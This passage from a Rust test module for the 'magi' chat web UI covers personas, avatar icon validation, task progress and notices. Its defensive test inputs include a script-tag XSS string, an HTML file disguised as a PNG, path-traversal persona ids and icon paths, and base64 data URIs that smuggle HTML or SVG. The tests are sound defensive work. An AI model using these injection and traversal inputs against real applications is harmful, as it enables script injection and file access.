13847 assert!(json.contains("<script>alert(1)</script>"));
13848 assert!(!json.contains("javascript:"));
13849 assert!(!json.contains("Tell the operator"));
13850 assert!(!json.contains("untrusted"));
13851 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
13852 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
13853 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13854 assert_eq!(
13855 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
13856 md::to_nodes("# Status", &md::ImageBase::None),
13857 );
13858 }
13859
13860 #[tokio::test]
13861 async fn notification_display_recovers_exact_legacy_completion_references() {
13862 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13863 let mut conversation = ui.talks.get(&id).unwrap();
13864 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
13865 id: "task-123",
13866 title: "Change",
13867 status: "done",
13868 reason: None,
13869 run: Some("run-123"),
13870 pr: None,
13871 summary: Some("Merge state unknown"),
13872 });
13873 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13874 conversation.turns[0].sender = None;
13875 conversation.turns[0].messages.clear();
13876 conversation.turns[0].breaks = None;
13877 conversation.pending = body.clone();
13878 conversation
13879 .completion_notices
13880 .push(crate::chat_notify::CompletionReference {
13881 task: "task-123".into(),
13882 run: Some("run-123".into()),
13883 notice: body.clone(),
13884 });
13885 ui.talks.put(&mut conversation).unwrap();
13886 let view = TalkView::with_config(
13887 ui.talks.get(&id).unwrap(),
13888 false,
13889 None,
13890 &ui.home,
13891 &ui.references,
13892 );
13893 assert_eq!(
13894 view.talk.turns[0].messages[0].display,
13895 Some(display.clone())
13896 );
13897 assert_eq!(view.talk.pending_messages[0].display, Some(display));
13898 assert_eq!(
13899 view.talk.turns[0].messages[0].sender,
13900 Some(talk::Sender::Magi)
13901 );
13902 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
13903 conversation.completion_notices[0]
13904 .notice
13905 .push_str("different");
13906 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13907 assert!(view.talk.turns[0].messages.is_empty());
13908 assert!(view.talk.pending_messages.is_empty());
13909 }
13910
13911 #[tokio::test]
13912 async fn avatar_settings_report_states_and_inherit_after_corruption() {
13913 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13914 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
13915 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
13916 ))
13917 .await;
13918 let path = avatar_setting_path(home.path(), Some("rei"));
13919 let orphan = avatar_setting_path(home.path(), Some("removed"));
13920 save_icon_file(&orphan, icon).unwrap();
13921 for (saved, expected) in [
13922 (icon, "custom"),
13923 ("builtin", "builtin"),
13924 ("data:image/png;base64,!!!!", "inherit"),
13925 ("data:image/png;base64,PGh0bWw+", "inherit"),
13926 ("/tmp/avatar.png", "inherit"),
13927 ] {
13928 atomic_icon_write(&path, saved).unwrap();
13929 let catalog =
13930 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
13931 .await
13932 .unwrap()
13933 .0;
13934 let personas = catalog["personas"].as_array().unwrap();
13935 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
13936 assert_eq!(rei["override_state"], expected);
13937 assert_eq!(rei["has_config_icon"], true);
13938 assert_eq!(rei["is_orphan"], false);
13939 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
13940 assert_eq!(removed["override_state"], "custom");
13941 assert_eq!(removed["is_orphan"], true);
13942 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
13943 assert_eq!(default["override_state"], "inherit");
13944 assert_eq!(default["has_config_icon"], false);
13945 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
13946 assert_eq!(
13947 effective.as_deref(),
13948 Some(if expected == "builtin" { "" } else { icon })
13949 );
13950 }
13951 }
13952
13953 #[tokio::test]
13954 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
13955 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13956 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
13957 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
13958 ))
13959 .await;
13960 let target = |id: Option<&str>| AvatarSettingsQuery {
13961 persona: id.map(str::to_owned),
13962 ..Default::default()
13963 };
13964 let original_config = config_for(&repo).await.unwrap();
13965 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
13966 let original_prompt = persona::section_for(&original_persona, None);
13967 let before = talk_detail(State(ui.clone()), Path(id.clone()))
13968 .await
13969 .unwrap()
13970 .0;
13971 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
13972 let _ = avatar_settings_put(
13973 State(ui.clone()),
13974 Query(target(persona)),
13975 Json(MagiIconUpload { icon: icon.into() }),
13976 )
13977 .await
13978 .unwrap();
13979 let path = avatar_setting_path(home.path(), persona);
13980 assert!(path.starts_with(home.path().join("avatars")));
13981 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13982 for bad in [
13983 "/tmp/image.png".to_owned(),
13984 "data:image/png;base64,!!!!".to_owned(),
13985 "data:image/png;base64,PGh0bWw+".to_owned(),
13986 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13987 format!(
13988 "data:image/png;base64,{}",
13989 "A".repeat(persona_icon::ICON_MAX_BYTES)
13990 ),
13991 ] {
13992 assert!(
13993 avatar_settings_put(
13994 State(ui.clone()),
13995 Query(target(persona)),
13996 Json(MagiIconUpload { icon: bad })
13997 )
13998 .await
13999 .is_err()
14000 );
14001 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14002 }
14003 }
14004 assert!(read_magi_icon(home.path()).is_none());
14005 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14006 let after = talk_detail(State(ui.clone()), Path(id.clone()))
14007 .await
14008 .unwrap()
14009 .0;
14010 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14011 assert_ne!(
14012 before
14013 .personas
14014 .iter()
14015 .find(|p| p.id == "magi")
14016 .unwrap()
14017 .avatar,
14018 after
14019 .personas
14020 .iter()
14021 .find(|p| p.id == "magi")
14022 .unwrap()
14023 .avatar
14024 );
14025 let restarted = Arc::new(Ui::new(
14026 Queue::at(home.path().join("queue")),
14027 Questions::at(home.path().join("questions")),
14028 Talks::at(home.path().join("talks")),
14029 home.path().join("runs"),
14030 home.path().to_owned(),
14031 repo,
14032 ));
14033 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14034 .await
14035 .unwrap()
14036 .0;
14037 assert!(
14038 catalog["personas"]
14039 .as_array()
14040 .unwrap()
14041 .iter()
14042 .any(|p| p["id"] == "../custom/日本語")
14043 );
14044 for expected in ["custom", "default", "rei"] {
14045 assert!(
14046 catalog["personas"]
14047 .as_array()
14048 .unwrap()
14049 .iter()
14050 .any(|p| p["id"] == expected)
14051 );
14052 }
14053 let response =
14054 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14055 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14056 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14057 .await
14058 .unwrap();
14059 assert_eq!(
14060 effective_persona_icon(home.path(), "rei", Some(icon)),
14061 Some(String::new())
14062 );
14063 let response = talk_avatar(
14064 State(restarted.clone()),
14065 Path(id.clone()),
14066 Query(AvatarQuery {
14067 persona: Some("rei".into()),
14068 ..Default::default()
14069 }),
14070 )
14071 .await
14072 .unwrap();
14073 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14074 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14075 .await
14076 .unwrap()
14077 .0;
14078 assert_ne!(
14079 after
14080 .personas
14081 .iter()
14082 .find(|p| p.id == "rei")
14083 .unwrap()
14084 .avatar,
14085 reset
14086 .personas
14087 .iter()
14088 .find(|p| p.id == "rei")
14089 .unwrap()
14090 .avatar
14091 );
14092 let mut inherit = target(Some("rei"));
14093 inherit.inherit = Some("1".into());
14094 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14095 .await
14096 .unwrap();
14097 assert_eq!(
14098 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14099 Some(icon)
14100 );
14101 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14102 .await
14103 .unwrap();
14104 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14105 assert_eq!(
14106 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14107 Some(icon)
14108 );
14109 let cfg = config_for(&ui.repo).await.unwrap();
14111 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14112 assert_eq!(persona::section_for(&resolved, None), original_prompt);
14113 assert!(!original_prompt.contains("data:image"));
14114 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14115 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14116 assert!(!stored.contains("data:image"));
14117 let mut orphan = ui.talks.get(&id).unwrap();
14118 orphan.persona = "../custom/日本語".into();
14119 let view = TalkView::with_config(
14120 orphan,
14121 false,
14122 Some(&cfg),
14123 home.path(),
14124 &id_links::IndexCache::default(),
14125 );
14126 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14127 }
14128
14129 #[tokio::test]
14130 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14131 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14132 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14133 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14134 let _ = magi_icon_put(
14135 State(ui.clone()),
14136 Json(MagiIconUpload { icon: icon.into() }),
14137 )
14138 .await
14139 .unwrap();
14140 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14141 assert_ne!(original, changed);
14142 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14143 let response = magi_avatar(
14144 State(ui.clone()),
14145 Query(AvatarQuery {
14146 persona: None,
14147 builtin: None,
14148 }),
14149 )
14150 .await;
14151 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14152 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14153 assert_eq!(
14154 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14155 "nosniff"
14156 );
14157 for bad in [
14158 "data:image/png;base64,PGh0bWw+".to_owned(),
14159 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14160 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14161 ] {
14162 assert!(save_magi_icon(home.path(), &bad).is_err());
14163 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14164 }
14165 let restarted = Arc::new(Ui::new(
14167 Queue::at(home.path().join("queue")),
14168 Questions::at(home.path().join("questions")),
14169 Talks::at(home.path().join("talks")),
14170 home.path().join("runs"),
14171 home.path().to_path_buf(),
14172 repo,
14173 ));
14174 assert_eq!(
14175 magi_icon_get(State(restarted.clone())).await.0["avatar"],
14176 changed
14177 );
14178 let view = TalkView::with_config(
14179 restarted.talks.get(&id).unwrap(),
14180 false,
14181 None,
14182 &restarted.home,
14183 &restarted.references,
14184 );
14185 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14186 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14187 let response = magi_avatar(
14188 State(ui.clone()),
14189 Query(AvatarQuery {
14190 persona: None,
14191 builtin: None,
14192 }),
14193 )
14194 .await;
14195 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14196 .await
14197 .unwrap();
14198 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14199 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14200 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14201 let _ = magi_icon_delete(State(ui)).await.unwrap();
14202 }
14203
14204 async fn avatar(
14206 ui: &Arc<Ui>,
14207 id: &str,
14208 persona: Option<&str>,
14209 builtin: bool,
14210 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14211 let res = talk_avatar(
14212 State(Arc::clone(ui)),
14213 Path(id.to_owned()),
14214 Query(AvatarQuery {
14215 persona: persona.map(str::to_owned),
14216 builtin: builtin.then(|| "1".to_owned()),
14217 }),
14218 )
14219 .await
14220 .expect("an avatar is never an error response");
14221 let h = res.headers();
14222 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14223 let nosniff = h
14224 .get(header::X_CONTENT_TYPE_OPTIONS)
14225 .is_some_and(|v| v == "nosniff");
14226 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14227 let status = res.status();
14228 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14229 .await
14230 .expect("body")
14231 .to_vec();
14232 (status, ct, nosniff, csp, body)
14233 }
14234
14235 fn tiny_png() -> Vec<u8> {
14236 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14237 b.extend_from_slice(&[0u8; 32]);
14238 b
14239 }
14240
14241 #[tokio::test]
14242 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14243 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14244 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14245 assert_eq!(res.status(), StatusCode::OK);
14246 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14247 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14248 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14249 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14250 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14251 .await
14252 .unwrap();
14253 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14254 assert_ne!(
14255 persona_icon::operator_svg(),
14256 persona_icon::builtin_svg("default")
14257 );
14258 }
14259
14260 #[tokio::test]
14261 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14262 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14263 for p in [
14264 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14265 ] {
14266 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14267 assert_eq!(status, StatusCode::OK, "{p}");
14268 assert_eq!(ct, "image/svg+xml", "{p}");
14269 assert!(nosniff && csp, "{p}");
14270 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14271 }
14272 let own = avatar(&ui, &id, None, false).await;
14274 let default = avatar(&ui, &id, Some("default"), false).await;
14275 assert_eq!(own.4, default.4);
14276 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14277 assert_eq!(unknown.1, "image/svg+xml");
14278 }
14279
14280 #[tokio::test]
14281 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14282 let dir = TempDir::new().expect("icons");
14283 let good = dir.path().join("good.png");
14284 std::fs::write(&good, tiny_png()).unwrap();
14285 let spoof = dir.path().join("spoof.png");
14286 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14287 let big = dir.path().join("big.png");
14288 let mut bytes = tiny_png();
14289 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14290 std::fs::write(&big, bytes).unwrap();
14291 let missing = dir.path().join("missing.png");
14292 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14293 let extra = format!(
14294 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14295 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14296 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14297 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14298 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14299 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14300 uri(&good),
14301 uri(&spoof),
14302 uri(&big),
14303 uri(&missing),
14304 );
14305 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14306
14307 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14308 assert_eq!(
14309 (status, ct.as_str(), nosniff),
14310 (StatusCode::OK, "image/png", true)
14311 );
14312 assert_eq!(body, tiny_png());
14313 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14314 assert_eq!(ct, "image/png", "data URI");
14315
14316 for p in ["misato", "asuka", "shinji", "magi"] {
14317 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14318 assert_eq!(
14319 (status, ct.as_str(), csp),
14320 (StatusCode::OK, "image/svg+xml", true),
14321 "{p}"
14322 );
14323 assert!(body.starts_with(b"<svg"), "{p}");
14324 }
14325 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14327 assert_eq!(ct, "image/svg+xml");
14328 }
14329
14330 #[tokio::test]
14331 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14332 let oversized = format!(
14333 "data:image/png;base64,{}",
14334 "A".repeat(persona_icon::ICON_MAX_BYTES)
14335 );
14336 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14337 let extra = format!(
14338 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14339 );
14340 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14341 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14342 .await
14343 .expect("detail with invalid icon");
14344 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14345 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14346 assert_eq!(status, StatusCode::OK);
14347 assert_eq!(ct, "image/svg+xml");
14348 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14349 let Json(view) = talk_persona(
14350 State(Arc::clone(&ui)),
14351 Path(id.clone()),
14352 Json(TalkPersona {
14353 persona: "custom".into(),
14354 }),
14355 )
14356 .await
14357 .expect("persona switch with invalid icon");
14358 assert_eq!(view.talk.persona, "custom");
14359 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14360 }
14361 }
14362
14363 #[tokio::test]
14364 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14365 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14366 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14367 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14368 assert_eq!(
14369 (status, ct.as_str(), nosniff, csp),
14370 (StatusCode::OK, "image/svg+xml", true, true)
14371 );
14372 }
14373
14374 #[tokio::test]
14375 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14376 let (_t, _h, ui, id, _repo) =
14377 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14378 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14379 .await
14380 .expect("detail");
14381 let json = serde_json::to_string(&detail).unwrap();
14382 assert!(
14383 !json.contains("secret"),
14384 "the icon setting must not leak: {json}"
14385 );
14386 assert!(
14387 detail
14388 .view
14389 .persona_avatar
14390 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14391 );
14392 assert_eq!(
14393 detail.view.operator_avatar,
14394 format!(
14395 "/avatars/operator.svg?v={}",
14396 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14397 )
14398 );
14399 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14400 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14401 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14402 assert!(rei.avatar.contains("persona=rei&v="));
14403 assert_ne!(
14404 rei.avatar.split("&v=").nth(1),
14405 plain.avatar.split("&v=").nth(1)
14406 );
14407 }
14408
14409 #[tokio::test]
14410 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14411 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14412 let cfg = config_for(&repo).await.unwrap();
14413 for arrived in [false, true] {
14414 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14415 let observed = ui.queued_generation(&id);
14416 let talk = ui.talks.get(&id).unwrap();
14417 if arrived {
14418 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14419 }
14420 let mut settling = std::pin::pin!(settle_settings_turn(
14421 talk,
14422 ui.talks.clone(),
14423 cfg.clone(),
14424 id.clone(),
14425 turn,
14426 observed
14427 ));
14428 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14429 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14430 assert_eq!(first.is_pending(), arrived);
14431 if arrived {
14432 assert!(!settling.await);
14433 }
14434 assert!(!ui.is_thinking(&id));
14435 }
14436 }
14437
14438 #[tokio::test]
14439 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14440 let tmp = TempDir::new().expect("tempdir");
14441 let repo = tmp.path().join("repo");
14442 std::fs::create_dir_all(&repo).expect("repo dir");
14443 std::fs::write(
14444 repo.join("magi.toml"),
14445 format!(
14446 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14447 ),
14448 )
14449 .expect("write magi.toml");
14450 let home = TempDir::new().expect("temp home");
14451 let talks = Talks::at(home.path().join("talks"));
14452 let ui = Arc::new(
14453 Ui::new(
14454 Queue::at(home.path().join("queue")),
14455 Questions::at(home.path().join("questions")),
14456 talks.clone(),
14457 home.path().join("runs"),
14458 home.path().to_path_buf(),
14459 repo.clone(),
14460 )
14461 .with_worktrees_root(home.path().join("wt")),
14462 );
14463 let cfg = config_for(&repo).await.expect("discover config");
14464 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14465 let id = talk.id.clone();
14466 let call = |persona: &str| {
14467 talk_persona(
14468 State(Arc::clone(&ui)),
14469 Path(id.clone()),
14470 Json(TalkPersona {
14471 persona: persona.to_owned(),
14472 }),
14473 )
14474 };
14475
14476 let unknown = call("nobody").await.expect_err("unknown persona");
14477 assert_eq!(
14478 unknown.status,
14479 StatusCode::BAD_REQUEST,
14480 "{}",
14481 unknown.message
14482 );
14483
14484 {
14485 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14488 let busy = call("rei").await.expect_err("busy talk");
14489 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14490 assert!(
14491 busy.message.contains("a talk turn is running"),
14492 "{}",
14493 busy.message
14494 );
14495 drop(guard);
14496 }
14497 assert_eq!(talks.get(&id).expect("reload").persona, "");
14498
14499 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14500 assert_eq!(view.talk.persona, "gendo");
14501 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14502 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14503 for chosen in ["default", "gendo", "rei", "gendo"] {
14505 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14506 assert!(!view.thinking);
14507 assert!(!ui.is_thinking(&id));
14508 }
14509
14510 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14511 .await
14512 .expect("detail");
14513 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14514 assert_eq!(ids.first(), Some(&"default"));
14515 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14516
14517 let Json(view) = call("default").await.expect("back to default");
14518 assert_eq!(view.talk.persona, "");
14519
14520 let mut closed = talks.get(&id).expect("reload");
14521 talk::close(&mut closed, &talks).expect("close");
14522 let refused = call("rei").await.expect_err("closed talk");
14523 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14524 assert!(
14525 refused.message.contains("takes no more turns"),
14526 "{}",
14527 refused.message
14528 );
14529 }
14530
14531 #[tokio::test]
14532 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14533 let f = Fixture::start().await;
14534 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14535 let queue = f.queue();
14536 let mut mine = Task::new(
14537 "rename the loader".to_owned(),
14538 "rename the loader".to_owned(),
14539 PathBuf::from("/repo/magi"),
14540 Source::Agent {
14541 run: talk_id.clone(),
14542 node: "chat".to_owned(),
14543 },
14544 );
14545 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14546 assert_eq!(empty["task_progress"]["state"], "none");
14547 assert_eq!(empty["task_progress"]["total"], 0);
14548 queue.put(&mut mine).expect("file the task");
14549 let mut theirs = Task::new(
14550 "unrelated".to_owned(),
14551 "unrelated".to_owned(),
14552 PathBuf::from("/repo/magi"),
14553 Source::Human,
14554 );
14555 theirs.origin_chat = Some(talk_id.clone());
14557 queue.put(&mut theirs).expect("file the task");
14558
14559 let res = f.get(&format!("/api/talks/{talk_id}")).await;
14560 assert_eq!(res.status, 200, "{}", res.body);
14561 let body = res.json();
14562 assert_eq!(
14563 body["status"], "open",
14564 "filing a task does not close a talk"
14565 );
14566 let tasks = body["tasks"].as_array().expect("tasks array");
14567 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
14568 assert_eq!(tasks[0]["id"], mine.id);
14569 for status in [
14570 TaskStatus::Queued,
14571 TaskStatus::Running,
14572 TaskStatus::Held,
14573 TaskStatus::Failed,
14574 TaskStatus::Blocked,
14575 TaskStatus::Parked,
14576 TaskStatus::Done,
14577 TaskStatus::Queued,
14578 ] {
14579 mine.status = status;
14580 queue.put(&mut mine).expect("update status");
14581 let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
14582 let progress = &detail["task_progress"];
14583 assert_eq!(progress["total"], 1);
14584 assert_eq!(progress["counts"][status.as_str()], 1);
14585 assert_eq!(detail["tasks"][0]["status"], status.as_str());
14586 assert_eq!(detail["status"], "open", "completion never closes the chat");
14587 if status == TaskStatus::Done {
14588 assert_eq!(progress["state"], "complete");
14589 assert_eq!(progress["done"], 1);
14590 assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
14591 } else {
14592 assert_eq!(progress["state"], "incomplete");
14593 assert_eq!(progress["done"], 0);
14594 assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
14595 }
14596 }
14597 }
14598
14599 #[test]
14600 fn talk_task_progress_counts_mixed_statuses() {
14601 let mut tasks: Vec<_> = [
14602 TaskStatus::Queued,
14603 TaskStatus::Running,
14604 TaskStatus::Held,
14605 TaskStatus::Failed,
14606 TaskStatus::Blocked,
14607 TaskStatus::Parked,
14608 TaskStatus::Done,
14609 ]
14610 .into_iter()
14611 .map(|status| {
14612 let mut task = Task::new(
14613 "task".into(),
14614 "task".into(),
14615 PathBuf::from("/repo"),
14616 Source::Human,
14617 );
14618 task.status = status;
14619 task
14620 })
14621 .collect();
14622 let progress = talk_task_progress(&tasks);
14623 assert_eq!(progress.state, "incomplete");
14624 assert_eq!(progress.total, 7);
14625 assert_eq!(progress.done, 1);
14626 assert_eq!(progress.unfinished_ids.len(), 6);
14627 assert!(progress.counts.values().all(|count| *count == 1));
14628 assert_eq!(
14629 progress.unfinished_ids,
14630 tasks[..6]
14631 .iter()
14632 .map(|task| task.id.clone())
14633 .collect::<Vec<_>>()
14634 );
14635
14636 for task in &mut tasks {
14637 task.status = TaskStatus::Done;
14638 }
14639 let complete = talk_task_progress(&tasks);
14640 assert_eq!(complete.state, "complete");
14641 assert_eq!(complete.done, 7);
14642 assert!(complete.unfinished_ids.is_empty());
14643 tasks[0].status = TaskStatus::Queued;
14644 let requeued = talk_task_progress(&tasks);
14645 assert_eq!(requeued.state, "incomplete");
14646 assert_eq!(requeued.done, 6);
14647 assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
14648
14649 let empty = talk_task_progress(&[]);
14650 assert_eq!(empty.state, "none");
14651 assert_eq!(empty.total, 0);
14652 assert_eq!(empty.done, 0);
14653 assert!(empty.unfinished_ids.is_empty());
14654 assert!(empty.counts.values().all(|count| *count == 0));
14655 }
14656
14657 #[tokio::test]
14658 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
14659 let (_tmp, _repo, f) = talk_fixture().await;
14660 let id = f.post("/api/talks", None).await.json()["id"]
14661 .as_str()
14662 .expect("id")
14663 .to_owned();
14664
14665 let res = f
14666 .post(
14667 &format!("/api/talks/{id}/say"),
14668 Some(r#"{"text":"what does the queue module do?"}"#),
14669 )
14670 .await;
14671 assert_eq!(res.status, 202, "{}", res.body);
14672 let queued = res.json();
14673 let turns = queued["turns"].as_array().expect("turns array");
14674 assert_eq!(
14675 turns.len(),
14676 1,
14677 "the answer reflects only what is on disk the instant it is sent, \
14678 before the agent's turn - which can run for the whole of \
14679 `[graph] timeout_talk` - has a chance to land: {queued}"
14680 );
14681 assert_eq!(turns[0]["who"], "operator");
14682 assert_eq!(turns[0]["body"], "what does the queue module do?");
14683 assert_eq!(
14684 queued["thinking"], true,
14685 "the accepted response exposes the background turn claim: {queued}"
14686 );
14687
14688 let mut turns_after = 1;
14689 for _ in 0..SETTLE_STEPS {
14690 let detail = f.get(&format!("/api/talks/{id}")).await.json();
14691 turns_after = detail["turns"].as_array().expect("turns array").len();
14692 if turns_after == 2 {
14693 break;
